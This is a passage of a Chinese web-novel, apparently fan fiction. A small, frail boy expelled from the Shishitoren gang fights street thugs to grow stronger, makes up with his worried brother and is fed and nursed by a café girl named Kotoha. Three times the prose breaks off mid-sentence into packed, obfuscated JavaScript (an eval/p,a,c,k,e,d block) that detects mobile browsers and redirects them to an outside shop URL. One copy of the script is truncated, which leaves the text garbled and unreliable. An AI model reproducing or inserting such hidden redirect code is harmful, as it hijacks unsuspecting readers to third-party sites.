桂生本人倒是并不觉得这有什么不好,传闻越奇怪他就安全,他给大家添的麻烦已经够多了,少一点是一点,在大家的溺爱里他从来不去计较这些细枝末节。 但是带来繁荣的座敷童子吗?他其实还蛮喜欢这个寓意的,如果他能够像座敷童子一样有这样的神通力能够回馈、庇佑这些会给他带来温暖的大家,就算是一直长不大也没关系的吧。 在日本,想要从一个不良组织毕业多少是需要通过“仪式”付出一些代价的。虽然不至于像□□那样切手指来表决心,但是终究免不了一顿打,但这顿打只是次要的,重要的是所有人都会知道他脱力了团体的庇护,而且作为背叛者有义务避让团体的人。 类似于见一次打一次的感觉?不过桂生本来就像幽灵一样存在于狮子头连,知道他长相的人本来就不多,这也是有马会直接给他剥皮的原因。毕竟明明是要保护他却害他被盯上这种事情有马是绝对不会做的啦。 要采购的东西很多,总之先买手机吧,不然他都不好去查询需要买那些用品。 但是,当他买到新手机登录自己的line之后就失去了购物的心情了。除了断断续续的累计的百来个未接来电之外入目的是被他置顶的鹿沼的信息。 在他眼里雪哥真的很少抽烟的,俯视角的照片把地上的烟蒂烟灰都照了进来,连同对方眼下的青黑,和眼底的疲惫。 怎么会这样,为什么会这样,不要这样啊雪哥。 桂生开始难过了,他想象过太多太多有马生气的样子与可能性,但是像是本能地趋利避害一样,他没有想过对方的担忧、憔悴、疲惫。左胸前那些一直以来为他将苦痛化解的温暖,似乎也成了最尖锐的利刃,让他一阵阵的酸楚疼痛。 忽然间他开始庆幸,自己出去实战时戴上了口枷和面具,就算身上到处都在痛,哪里都有过分的痕迹,但是至少声音和脸是正常的。从小小的手机摄像头上无法捕捉到他在做的事情。 几乎是立刻,他回拨了。 “嘟……” “……”虽然本能地就打过去了,可是被接通之后他又喉咙发干,不知道该说什么好,想说的事情太多了,堵在嘴边挤在舌尖最后什么也没能说出来。在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125294|149894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车水马龙的十字路口,他就这样举着电话,被过马路的人群抛在身后伫立原地。 打过去甚至只响了一声就被接起,有马的急切与狼狈几乎要通过电波传过来了。 “不说点什么吗,难得你给我打过来,我接得这么急,如果是误触就搞笑了。”他故作轻松地说着,声音里的沙哑与疲惫像是落入清水里的砚,当水开始流动,墨色也渲染开来。 桂生心中的水开始搅动,变得浑浊,太多情绪混杂在一起变成了混沌的颜色。有马的疲惫像是一尊砚,不论这里有再多的情感,这汪清水最终都会被砚染成不那么纯粹的黑。 他捂着嘴,试图将那翻涌到喉头的哽咽咽下。他的呼吸越来越急促,他的喘息越来越明显,那些呼之欲出的愧疚与悔意凝结成了翻涌到喉头的哭声,丝丝缕缕地从他紧咬的牙缝中漏出来。 “喂,怎么了,桂,你怎么样!喂!”在电话那边耐性等着桂生回复的有马开始慌了,他听到了桂的喘息,听到了他的哭腔。受委屈了吗?被欺负了吗?还是身体出现了什么不舒服?还是说被哪里来的人渣围堵了? 太多可能性出现在他的脑子里,想到桂生可能遭遇到的事情他浑身都是戾气,连站在远处的鹿沼都注意到他的不对劲,向着他跑过来。 “把定位发给我,我现在就过来。”他努力让自己的声音听起来不那么愤怒,让自己能够安抚桂生的情绪。 “没、我没事……我只是,对不起,雪哥,让你担心了,对不起、我不该跟你吵架的。”在喉咙里翻涌的哭泣彻底决堤之前,他把想说的话全部都吐了出来,然后在嚎啕大哭之前挂上了电话。 完全顾不上电话那头,有马雪成的脸黑成什么样子,抱着头在车水马龙的十字路口蹲在花坛边让泉涌而出的泪水落入泥土。 他不敢去找有马,也不敢让有马过来。他已经太久没有在对方的面前哭过了,但是大家对他的保护从来不会因为他不再喊痛不再哭泣而减轻。每一年他都回去体检,但每一年他的体检报告都会让父母和医生关在办公室里聊很久。 他们从来不把结果说出来,只是一遍遍地嘱咐有马家两个年长的孩子要好好保护弟弟。 泪水模糊了视线,即使这样桂生还是流着泪水咬着牙在line上写小作文给有马道歉。 一遍遍发可爱的贴图试图让对方安心,打消让他发定位的想法。但是他写的小作文被对方以字太多了不看直接跳过了。耍赖一般要求他打电话过来自己说,像是认定了他现在被什么坏东西抓走了强迫他说这些话一样。 “沼哥你劝劝雪哥啦,我哭成这个样子跟他说的话他肯定会更生气的。”哭腔里带着无奈给鹿沼发着语音,然后得到了对方几张无可奈何的小鸡表情包刷屏,然后无可奈何的小鸡变成了满屏幕的愤怒的小鸟。 好了,我知道拿着手机的人换人了,雪哥你快把手机还给沼哥啦。 桂生破涕为笑,胡乱地擦掉了脸上的泪水,把自己裂开的手机拍照发过去。花了好长时间才解释清楚是搬家的时候把手机压坏了,不是住出去第一天就被人绑架砸碎手机关起来了。 从鹿沼那里得到了超详尽的厨房小白入门调料品清单和搬家后整理屋子的教程链接。 好啦,继续购物吧,今天要做的事情还有很多啦。今晚的话应该不会再做噩梦了吧,毕竟,我就知道雪哥有这——————么爱我诶! 5. 第 5 章 原来每天姐姐都在做这么危险的事情啊。 擦了擦脸上的灰,桂生看着被他好不容易扑灭的灶台叹了口气。明明是用的最安全的电磁炉,为什么只是一个上厕所的功夫就着火了?明明只是最简单的炖菜,把材料洗洗切好丢进锅里然后放入成品调料包,盖上盖子等待时间过去了。 明明每一步都照着沼哥给的教程里做的!为什么会这样?做料理,真的好难。果然下次学校的料理课还是不请假了。 叹着气,桂生也只能把本就破破烂烂的屋子里破破烂烂脏兮兮的厨房大致收拾一下,整理出还能用的炊具和不能用的,然后等可以丢这类垃圾的那一天再放到垃圾点。 说起来厨房油污怎么处理来着?无意识地,桂生拿出了手机然后跟鹿沼抱怨料理好难,完全不知道厨房废油和垃圾要怎么处理。 几乎是秒回,鹿沼精挑细选的可爱头像下面冒出了对话气泡。 【诶——小桂开始自己做料理?】 【不太顺利吗?】 【有没有受伤?】 【我帮你找找哦,这里——】 【XXX链接:厨房小白立刻上手之料理后把你的厨房打理得漂漂亮亮】 对话气泡一条条的冒出来,桂生引以为豪的单手打字速度在鹿沼面前被轻易击溃。其实在日本的社交礼仪里,除却部分工作需要,日常的社交里过快的回复信息是一种很恶心的行为,毕竟显示已读的时候还会显示时间信息,已读得太快会让人觉得一直注视着他的对话框,像女鬼视奸一样—— 不过两个有马在鹿沼面前都没有遵守这种礼仪,一直看着就一直看着嘛,那不是说明对方超在意自己的?有什么不好的。 坏掉的炊具也得算好日子,然后放到周围的垃圾堆积点才行啊。失败的料理让原本就做不完的事情增加到了一种不可理喻的地步,让原本繁忙的夜晚雪上加霜。桂生不是会内耗的类型,虽然有马雪成最讨厌没有计划的事情了,但是桂生反而很喜欢随机应变的东西。 毕竟这个世界上几乎没有什么东西在他的预料之内。小学的时候以为一切都在算计内洋洋自得,结果被围堵在墙角狼狈地被哥哥们救援;初中的时候以为可以倚靠狮子头连的力量来舍弃那些无用的社交减少一些与一般同学接触带来的疼痛,结果因为太弱被提出来;搬出来打算偷偷努力惊艳一下哥哥们,结果手机被打碎害哥哥担心到憔悴。 要是一点预料外的东西就能把他打倒,那他早就碎了啦。家里这一团糟先放在一边,又到了今天的实战时间了,拿出换洗的“夜袭”套装,给手机也装进牢固笨重的手机壳里,这次万事俱备,绝对不会像昨晚那样只能硬扛着挨打了! 打架这件事到底不是光靠着练习、锻炼肌肉就能够变强的。桂生挨打倒也并不只是单纯的挨打,更重要的是总结和复盘。虽然实战的时候可能因为着急想不起来、又或是身体水准不够反应不过来,但如果提前对打法有些预估,遇到难搞的情况也不至于手忙脚乱。 以前还在狮子头连的时候,他经常跟鹿沼坐在鹿沼的身边听他说他打架的思路。 其实鹿沼不算是身体强壮的类型,他不算高大,也不算是灵巧的体型。每天想做的事情很多,感兴趣的东西也很多,饮食的不限制,花在锻炼上的时间非常有限,以至于体格在不上不下的前提下,肌肉的锻炼水平也不上不下的。 而这样的他必须配合有马的打架两个人把背后交托给对方,有一方拉垮就会整段垮掉。他必须通过别的东西来修正他的战斗方式,弥补身体上的缺陷。 “因为人家一直注视着对方啊。” 鹿沼有一双非常可爱又很大的下垂眼,虽然随着年龄的增长眼睛好像越来越狭长的往帅气的方向发展了,但还是很大很可爱的气氛。因为发型和眼睛的原因打架的时候总是被说长着双可爱的眼睛要打猫猫拳吗之类的话嘲笑,于是鹿沼也养成了一副蔑视的样子眯起眼睛看人的习惯。 被眯起,被伪装,那也是一双非常体贴的眼睛,有着非常温柔的力量。但是在打架的时候这份力量也没有被浪费,它会洞察对方的习惯,然后思考解决方式。在日常相处时温水一般让一切变得舒适愉快的力量,也能成为坚冰一样保护同伴的力量。 那个时候桂生就觉得了,沼哥是非常厉害的人,他能够将原本独属于内心的、体贴的力量转化成保护的力量。 这样洞察的力量与处理方法,鹿沼从来都不介意分享给桂生。虽然希望对方用不上,但桂生喜欢听,他也愿意说,如果真的有万一的时候,这些微不足道的东西能够帮上忙就太好了。 真的帮上忙了。至少有了鹿沼教他的这些东西,他还能知道要怎么复盘、怎么去思考。 出门前看了一眼手机,对话框里鹿沼的气泡不再弹出新的。但桂生凝视着最新的那一条,像是被诱惑了一般僵住。 【要我过来帮你收拾吗?桂生不擅长这些吧,放心啦,偷偷把住址告诉我,我不会告诉有马的。】 好心动、好心动、好心动,如果是沼哥的话绝对能做到让这间公寓像是拥有魔法一样变得又舒适又温暖。就算是受伤了回来也会有人帮自己包扎,沼哥的话,绝对不论多晚,叫他的时候一定会出现的。而且,他答应了不告诉雪哥就真的不会告诉雪哥…… 不,不可以桂生。如果什么都依赖哥哥的话搬出来还有什么意义!沼哥虽然在自己决定要做什么事情之后不会阻止自己,但是他会担心啊。沼哥绝对是他认识的所有人里面最爱操心的人了,绝对会害他晚上都睡不好觉的。而且他又答应了自己不告诉雪哥,到时候连个倾诉的人都没有…… 太自私了,不可以这样子! 桂生的手指将刚打出来的【好的】删掉,重新输入。 【让我自己先试试嘛,等我玩够了就让沼哥来帮我,说不定其实我超有做家事的才能诶】 贴上可爱的配图,点击发送。好啦,出门了,开始快乐的夜生活—— 桂生其实是有选择性的挑选着对手。毕竟他也不是什么好高骛远的笨蛋,一上来就一挑十的话除了被打成败犬也不会有别的可能性。可是话又说回来,他也不想做个大坏蛋去欺负好孩子。 怎么说,就算是为了变强,如果变坏了的话,会被哥哥们讨厌的吧?那样就算变强了也不可爱了吧,不就更加没法站到他们的身边了吗? 所以他选择了钓鱼执法。超绝经意地在路边露出大钞,浮夸地惊呼“哎呀我这个月的零花钱——”然后往人迹罕见的方向去。这样就会有想要抢钱的坏种冒出来,成为他成长的经验值。 但是今天有点不太一样,因为没有吃饭,他其实没打算这么快就开始实战的。他只是普通地往便利店的方向走,普通地想要买个便当解决一下晚餐问题……然后普通地被围起来了。 只能说很庆幸,这条街上什么奇形怪状的人都有,所以他一出门就把面具戴上了,围上来的人总不至于看到他真正的样子。 “就是你吧?昨天把我的兄弟揍了家伙。还真是矮小啊,女人吗?” “就算是女人对这种小不点也没兴趣啦。” “既然带着面具那就是不好看的意思喽?” 擅自地就在当事人的面前这样堂而皇之的讨论了起来,真是杂碎到什么地步的杂碎啊。不过他们遇到的是我真是太好了,如果是真正的女孩子的话大概会被吓到哭吧? 桂生并不打算去接话,说起来戴着口枷的他根本没法接话。从口袋里摸出甩棍,向侧面一甩将棍体展开,并不给对方反应的机会,跳起来一脚踩在领头人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在他犹豫的时间里,本就只剩寥寥几家店散着灯光的街道又暗下去了几间,选择逐渐变少了,可是桂生的目光仍旧盯在咖喱面包上。然后他失去了选择,这条街道上最终还是只剩下这家二十四小时营业便利店还亮着光。 桂生比任何人都能够感知疼痛,也比任何人都厌恶疼痛。他的疼痛背后意味着并不仅仅是疼痛本身,也代表着他在无知觉的年纪里从哥哥姐姐那里略多的关爱、资源,也意味着他那个时候的他仅仅是存在就对这些爱着他的人造成的伤害。 或许爱上这如影随形的疼痛会让他活得更轻松一些,但就像是他没法安然地放任自己就这样弱小下去一样,他没法与这些疼痛和解。 他仍旧在纠结。他并不会因为疼痛自己而言司空见惯就忽视他人的疼痛,就算是心灵上的恐惧也好,他不想吓到这个对他放出过善意的姐姐。 桂生像是黑夜里灯火的孤岛边涌动的潮水,他并没有自觉,即使他还没进去,里面的小姐姐显然已经被这个贴在玻璃外墙上、带着血液灰尘、浑身狼狈、咕涌着的黑衣人吓到了。 “别这样,她被吓到了啦。”背后传来了一个柔和的女声,桂生感到了很轻的触碰,纤细、柔软的手指敲了敲他的面具。 带着困惑回过头来,借着便利店溢出来的灯光,桂生注视着眼前的女性。梳着可爱的丸子头,带着可爱的纽扣耳钉,左眼下也有一颗泪痣,比他稍微高一点,却为了跟他平视而弯下了腰,将手上提着的大包小包的食材都放在了地上。 没有感觉到恶意的桂生并没有后退,而是如她所说地离玻璃远了一点,站直站在了她的面前,没法说话的他只好稍稍鞠躬算作是对她的提醒的感谢。 果然还是算了,只是饿一个晚上其实也没关系吧。桂生有些沮丧地转身往回走。但意料之外的是,他的步子没能迈出去就被拉住了。 诶? 桂生转过头看着这个拉住他的小姐姐,头上缓缓冒出了一个问号。 “我说你,肚子饿了吧?要来我这边吃饭吗?虽然只有蛋包饭。” 那一瞬,逆着便利店的光,桂生看到了英雄的样子。 雪哥、沼哥,别担心,离家出走的桂生在外面过得很好,今天他遇到了拯救他空腹的英雄小姐。 桂生在心中流着泪水感叹着。 6. 第 6 章 在桂生还在思考能不能跟陌生人回去吃饭的时候,眼前在便利店的灯光下身形高大、光芒万丈的小姐姐手指一滑指着不远处已经关上灯的咖啡厅。 “我的店在那里啦,不介意的话过来吧?”原来是附近开店的小姐姐,顿时桂生的警惕就少了一半。对方向他伸出了手,肚子还在咕噜乱叫的桂生本能地就要伸出手来。可是当他把手伸出去才意识到,先前太昏暗了没注意,指缝和掌心里不知道什么时候染上了血迹。 与自己对比,女性柔软的手,柔软又白净。这个时候握上去也太失礼了。但是他没有来得及缩回来,就被对方握住了。突然的触碰吓得他像猫一样浑身一颤,本能地要甩开她又克制住了。 “碰到你的伤口了吗?抱歉。”看着他浑身一抖对方也被吓到了,体贴地松开了手。似乎想要去检查上面的伤口,但是借着便利店的这点光实在不够。于是她将放在地上的一大袋食材递过来。 “作为报酬,帮我拎一下吧。” 话说到这一步桂生还怎么拒绝,他一把拎住对方递过来的食材亦步亦趋地跟在对方的身后。罩在头上的兜帽随着他的仰头注视对方的动作落到背后,露出金色的发,空着的手黄慌乱乱地把面罩下的口枷和面罩一起摘下。 琴叶用余光看了一眼身后拎着食材的孩子,确定对方跟了上来才松了一口气。在这条街上她见过太多夜晚在外面游荡的少年人,不论如何对方实在也太年幼了一些。 也不是不能够理解。无处释放的活力凝集在年轻的身体里,没有目标的人生,无所事事的生活方式让他们迫切地通过一切手段彰显自身的存在。比起真正去做出什么让人认可的成就,沉下心去学习什么,就算伴随疼痛,这样不需要信念只要凭借天生的体魄用暴力来证明自己反而是最简单的事情,破坏什么总是比创造更简单、更让人畏惧。 她打开了店门,打开了屋子里的灯,将手中的食材放在了桌上,才发现那个孩子没有跟着走进屋子。 “真的可以吗?”这是一家很温馨的店,屋子的风格和城镇外的咖啡厅一样,精致的、体贴地,用心装扮着屋子里的细节。和往常桂生在这座城市看惯了店不一样。 这个城镇的治安很糟糕,糟糕到今天装扮好的一切明天就可能会被不知道哪里来的少年们一言不合的冲突全部毁坏。桌椅必须固定在地面,遮阳伞也无法从伞座里拔出,避免屋里任何物品斗殴的武器和投掷道具。像是监狱里连写字的笔都没有钝角一样,这座城市的店里充满了对未知的冲突冰冷的防备。 这里不一样,仅仅是透过敞开的门和屋里渗出的光,桂生甚至能看到黑板上画的今日特卖和装饰的小花。现在的他真的能够踏入这里吗?打架的时候一脚踩进水坑里,鞋里都湿透了,湿哒哒地流着污水。身上也脏兮兮灰扑扑的,身上还带着血迹。 “我会是坏人也说不定哦,真的可以进来吗?”屋子里透出去暖色的光,让桂生偏冷色的发也带了暖意。 “哪门子的坏人会饿着肚子看着橱窗里的面包咽口水啊,明明免费试吃的面包就在柜台上——会担心进去吓到店员的家伙,怎么样都不会太坏。”琴叶并没有出来劝说他,只是也不管他会不会进来,进入料理区域,自顾自地开始做蛋包饭。早就过了关店的时间,做蛋包饭用的剩饭当然也早就清理掉了。先煮的米饭需要一些时间,于是她开始调制饮品和清洗蔬菜。 “下次肚子饿就来找我吧,我不会害怕你。” 听她这么说桂生也只能嘟着嘴嘀嘀咕咕,人家都开始忙碌起来了,总不能浪费这份心意。于是桂生后退两步,像是甩水小狗一样在外面把身上的水甩掉一些,为了不把污水溅到人家店门口还站远了一点。虽然甩干肯定不可能但至少不是湿哒哒的了。在门前的地毯上用力地踩了踩,然后才从夜色里一步步走入灯光中。 “你,还挺好看的嘛,而且看起来好小啊,这个时候不回去真的没问题吗”虽然要用的蔬菜都准备好了,但是米饭还没好,所以琴叶先把饮品放在了他的手边。平静地像是跟普通的客人闲聊一样。 微热的牛奶里透着香草和焦糖的香味。什么像对待普通客人啊,这不就是对待小鬼的态度吗。桂生觉得有点别扭,毕竟他已经不再是之前那个只会在哥哥们开始打架的时候迅速找掩体躲起来的孩子了,就算对方是杂鱼他也是一个出色的炸鱼人了! “没关系啦,虽然看起来是这个样,但是我已经十五岁了,等来年的春天我就16了”说着桂生吸了一口对方为他特调的这杯牛奶。 “啊…我也是。”琴叶准备着蛋包饭随意的应和着。 屋子里的空气陷入了短暂的安慰,人类就是时常会有这种情况,因为回答得太快而没注意到自己听到了什么东西。 “……” “……” “诶?!!?你居然15?!” “诶?!!?你才15吗!?” 蛋包饭被放在了桂生的面前,两个人看着对方的眼睛面对面大呼出声,指了指对方又指了指自己,不可置信的叫出声。 这谁敢信啊?就算男孩是比女孩发育得晚一点,但是十五岁的男孩比同龄的女孩矮了一个头还是太过分了吧?而且,而且啊!琴叶比划着,对方这占据整张脸四分之一的大眼睛,怎么看都还只是个没长开的小学生吧?! 桂生看了看自己的手,看着眼前香喷喷的蛋包饭,看着店里一切都温馨又漂亮,精致又温馨,一切都被打理得井井有条。回想到家里被自己火烧碳烤的厨房。看着琴叶指着自己不可置信的手指上那些握着厨具的地方磨出来的细小的茧,又看了看自己柔软的、最近才因为打架在掌心磨出来的茧…… 原来正常十五岁的孩子应该要做到这种程度吗? 一直以来觉得自己就算被大家溺爱、迁就着也保持着自身的一些素养,学会了必要的技巧,没有被宠坏、没有在力量以外的地方被抛下。原来自己已经被宠坏到这个地步了吗?对于同龄人而言易如反掌的事情,他却做得一团糟。原来不知不觉我已经在大家的疼爱中堕落到了这个地步……也难怪呢,如果不搬出来住的话可能自己一生都不知道自己让姐姐承担了这么多难搞的东西。 握着勺子,舀了一勺送进嘴里……超————好吃! 大概是饿太久了的委屈感和刚刚的震惊混杂在一起,变成一滴滴泪水,吧嗒吧嗒地落下。 桂生胡乱地擦着泪水,但泪水就是止不住的涌出,反而是眼眶被揉得一片通红。明明之前为了适应疼痛,让自己不至于因为太痛就不能动弹之类的,已经很久很久都没有哭过了,但是短短搬出来才几天就克制不住地在挨揍以外的时候哭了几次了……明明早就不□□哭鬼了。 蛋包饭被嚼碎,咽下,像是咽下一团暖阳,将绞紧反酸的胃袋里的涌动也舒缓开来。泪水就这样安静的滴落,盘子里的蛋包饭也一勺一勺地减少着,等桂生吃完了回过神来,发现对方已经撑在吧台的后面注视他有一段时间了。 “诶…诶……?” 有马桂生,十五岁,在第一次认识的同龄女生面前暴哭。后知后觉地意识到自己做了多么逊的事情,而且被对方饶有兴致地看了这么久。虽然被蛋包饭温暖了胃袋,但是灵魂好像要和羞耻心一起从嘴里飘出来了。 “褪色了哦,回神啦——”琴叶笑出声,在他面前晃了晃手。“我是橘琴叶,叫琴叶就好,虽然都是春天出生的孩子,但是你直接叫我姐姐也没关系哦。”还带有阳光味道的毛巾盖在他的脸上,看似很粗暴的动作,却又很温和的擦着眼周的泪水。 她一定经常帮别人擦泪。桂生心里想,她熟练得像沼哥一样。有马一直觉得自己动作太粗暴了小时候桂生哭的时候他连擦泪都不敢,于是给弟弟擦泪水的工作落到了鹿沼的身上,然后鹿沼的动作也一点点地逐渐娴熟。她大概也是家里有弟弟妹妹之类的吧。 “有马桂生……桂生、小桂,都好……”像是被扼住后颈的小猫,进入固定程序的状态,乖乖地坐好像个幼稚园的孩子一样乖乖被擦去泪水。“对、对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125296|149894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不起,让你看到难看的样子了…”他轻声说着,哭腔已经褪得差不多了,只是还有些哽咽。 “桂生啊……”琴叶轻声复述着对方的名字,然后爽朗地“那么小桂(咔酱)——要跟我说说吗,让你这么大哭的原因。”就算知道眼前这个孩子其实是同龄人,琴叶也难免像是对待孩子一样对待他。而且眼前的桂生和设施里的孩子又有什么区别呢。 大概是对方的气质真的很像姐姐,桂生真的生出了浓烈的倾诉欲。其实桂生自己也很清楚,他是个爱撒娇的孩子。但是现在自己做的事情并不可以跟那些爱着自己的人倾诉,他们会说“桂生可以不用活得这么辛苦”然后让自己在他们替自己承受苦痛之后创造的舒适圈里幸福生活,把手中紧握的幸福当做理所当然,对他们的努力一无所知的活下去。 可是不可以这样啊,他也会想在姐姐累了的时候帮忙料理,也会想在雪哥和沼哥被打的时候冲上去把对面打倒啊……他想要有用一点,而不是仅仅在他们难过的时候用轻飘飘的话语。 如果他够强,就可以在大家被Zinc偷袭的时候去把Zinc的家伙打跑,而不是只能在窗的另一边看着大家来寻求丁子的庇护,让丁子这样像阳光一样的人被琐事缠上,让他的天空都蒙上了乌云。 好不容易止住的泪水,在琴叶轻声的安慰中又涌了出来。桂生鼻子酸酸的。深吸了一口气才缓缓地向她吐露。 “我从小就身体很弱啦,所以,全家的目光都在我身上,即使什么都没做,我也抢走了哥哥的零花钱,哥哥的新玩具,哥哥的新球鞋,姐姐的化妆品,姐姐的新首饰所有的东西都变成了我的医药费。就算是现在……我好像也没办法长高了”桂生的哭腔随着他的话语逐渐淡了,琴叶收走了他完食的盘子,店里想起了轻微的水流冲洗盘子的声音。 “即使是面对这样的我,我哥哥也像是英雄一样,帮我打跑了学校欺负我的人,从那个时候开始我就一直憧憬着哥哥,跟着哥哥一起进入了他在的队伍。”回想起最开始进入狮子头连的记忆,桂生的声音也变得雀跃起来。 “那个时候真的很开心,大家都很照顾我,就算是我是一碰就会坏的玻璃人偶,也没有拒绝我的靠近。”虽然也有不太愉快的东西,但是桂生并不会浪费自己的大脑去记住不开心的东西,以至于回想起来,记忆的每一个角落都在闪闪发光。 “我被保护着庇护着,直到有一天,像我这样的弱者太多了,站在顶点的哥哥们没办法保护所有人,所以把太过弱小的人驱逐出去。”但是就算是这样一本发光的相册也终究会有灰暗的颜色。 “我哥哥为了不让一直很溺爱我的副总代为难,亲手把我驱逐出来,我也借着这个机会搬出来,想要变强一点,强到能够被允许跟在他们身边的时候自己回去。” “可是我好弱哦,一个人住的话,没有办法做出好吃的饭菜,也不会收拾屋子,就算去打架也总是受伤,一身脏兮兮的,只敢站在便利店门口看着面包咽口水。” 桂生的声音有些沮丧,当他把最后一口牛奶咽下,话题也到了尾声,清洗盘子的水声也随之停下。桂生一直低着头,目光穿过了眼前的桌子聚焦在更遥远的地方,像是在观看着被他刻在头脑中那些发光的记忆。 他第一次把自己的这些想法说出来。这些不安的、不该让爱着他的人知道的东西。那些人太在意他的感受了,就算只是心中的不安,他们也会想尽办法去消除去照顾他,可明明这些情感本就是他享受着那样多的照顾时应该自己饮尽、消化、承受的东西,消解这些本就是他的义务。 桂生不太确定,眼前这个体贴的同龄人,听到他这样近乎废物的人生和发言会有怎样的想法。带着些许忐忑,缓缓抬头,对上了琴叶闪闪发光的眼睛。 “我说,你要不要跟我学做蛋包饭?” 那一瞬间,桂生的脑子里炸出了烟花。 姐姐、雪哥、沼哥,我是桂生,我真的好爱你们,等我,我一定会学会世界第一好吃的蛋包饭怎么做的。 7. 第 7 章 就算琴叶说要教桂生做蛋包饭,实际上接下来开始的却是伤口的包扎。这种把外面的小猫用食物骗进来再进行清洗美容内外除虫的宠物店行为琴叶已经非常熟练了! 桂生也不知道事情怎么发展到这一步的,总之,夜色沉沉,孤男寡女,脱衣剐裤,。明明才见第一面,感觉已经进入到了少年漫播不出来的部分了。但是,真的好有气势,当琴叶啪的一下把医疗箱摆在面前时,桂生除了瑟缩也做不到其他事情了。 接着,这间在夜色中散着温暖光辉的咖啡厅透出了惨绝的哀嚎。琴叶有些不知所措地看着手中的消毒棉球和眼前的同龄小孩眨了眨眼睛。 “暂停、暂停,裁判——我申请中场休息,让我穿戴装备”桂生喘了两声之后举起了手向裁判申请短暂的宽恕。琴·裁判·叶欣然同意,她已经见惯了各种各样逃避伤口清洗的不良百态,现在让她看看,这孩子打算使出怎样的手段。 倒也没有用什么手段,他说穿戴装备就真的只是穿戴装备。他把放在桌上的面具给戴上了。 琴叶的头上缓缓冒出一个问号,随即恍然大悟,是那个对吧!就是那个!什么,信仰支撑?给自己一个心理暗示,戴上了战队英雄的装备之后就会拥有英雄的力量,然后变得勇敢、不畏惧疼痛之类的! 哎呀、哎呀真可爱啊这孩子,明明这种做法设施里的孩子十岁之后就没有用了诶。琴叶捂着嘴偷笑,为了让他明显地感受到这种“信仰支撑”的效果,最初的几下,她擦得格外的轻。 呼呼——这样的话这孩子就会相信面具能让疼痛减轻了吧。琴叶得意的想,为自己的体贴点赞,然后开始认真地为他清理。 ……其实,桂生需要的是面具里的口枷啦,至少让他不要这么丢人的呲哇乱叫。但是这个场面本来就已经够限制级了,但凡有人进来,看着他赤裸着上半身,浑身青青紫紫的,被女孩弄得瑟瑟发抖,还带着个口枷,频频喘息。这谁受得了? 有面具在的话,至少不会第一反应想到什么不能播的东西,多少还是有解释的机会吧? 面具之外的眉眼依然平静,而面具之下五官漂移了三官。疼得他龇牙咧嘴,但好在面具和口枷承受了一切,保住了他可爱的形象。 平心而论,桂生的伤口处理都还是比较到位的,琴叶需要做的只是给今天新添的伤口消毒以及做一些桂生自己做不到的事情——比如说用药油把前几天受伤留下的淤青揉开。 世界上怎么会有这种酷刑!!!桂生真的觉得自己要哭了,真的!他几乎是用尽了力气才不至于让自己手舞足蹈上蹿下跳。挨揍的痛不像是打针抽血,可能是会很难恢复、要痛很久,他已经做好了觉悟了,但是他还没有做好在超痛的淤青上被超辣的药油揉弄的觉悟。 此时桂生觉得自己是一块大面团,被优秀的面点师琴叶添加药油调味,被揉捏搓扁重新塑形,最终变成一个香甜可口的小蛋糕。原来小蛋糕在变得可爱之前要承受这种痛苦,我是小蛋糕,我是小蛋糕,我要变得香甜可口。桂生猛猛自我暗示着,但是并没有什么用,痛还是痛,没有尖叫纯粹是口枷的功劳。 等琴叶揉完,桂生已经是一条灰白的废狗。两个人都出了一身汗,真是一场酣畅淋漓的面点大作战啊!等面点大作战结束,夜已经深得像是随时会出现都市怪谈的地步。 就在这时紧闭的店门发出低哑的声音,承轴转动,门的另一边通往混沌的无尽黑夜,而那黑夜里隐隐约约透露出一个人影,男人用咬牙切齿的声音带着几分幽怨… “你……们……在……做……什……么……” 几乎是一瞬间,甚至琴叶还没有意识到发生了什么,坐在椅子上像猫崽一样任她揉捏搓扁的同龄人就窜了出去,挡在了她的面前。这个距离,她看得很清楚,这孩子还在颤抖,几乎浑身的每一块肌肉都在叫嚣着后退,那些动摇的小动作已经明显得不能更明显了——他在恐惧,但即使这样仍旧挡在自己的面前。 真是的,是个让人看到心里化成一团的好孩子啊。 桂生的恐惧主要还是源于这个氛围,就像有马说的那样,他怕黑、怕鬼、怕虫,这种幽怨的声音实在是让他一瞬间脑子里出现了整个宇宙与世界的尽头。即使不知所措,但有一点他很清楚。 如果真的什么不好的东西,那他至少应该挡在琴叶的面前。 “优希…怎么过来了?”琴叶没有让桂生的恐惧持续太久,她拍了拍少年人的肩膀,一语道破眼前这团怨念的聚集体。“这家伙是优希,我在的设施的保育员。” 然后就像是黑夜里闪着寒光令人恐惧的竖瞳被光照过去之后发出软软的咪咪叫一样,高大的男人走近了屋子笑呵呵地挠着自己的短发,像是挽尊一样故作爽朗的说。“哎呀,因为听说你一直没有回去嘛,就过来看看有什么需要帮忙的地方。” 原来是她认识的人啊、原来是人类啊!桂生松了一口气,虽然礼貌上来说他应该就向这位家长先生介绍自己,但是口枷没取下来,就这么当着成年男人的面取下这种东西怎么想都太限制级了。 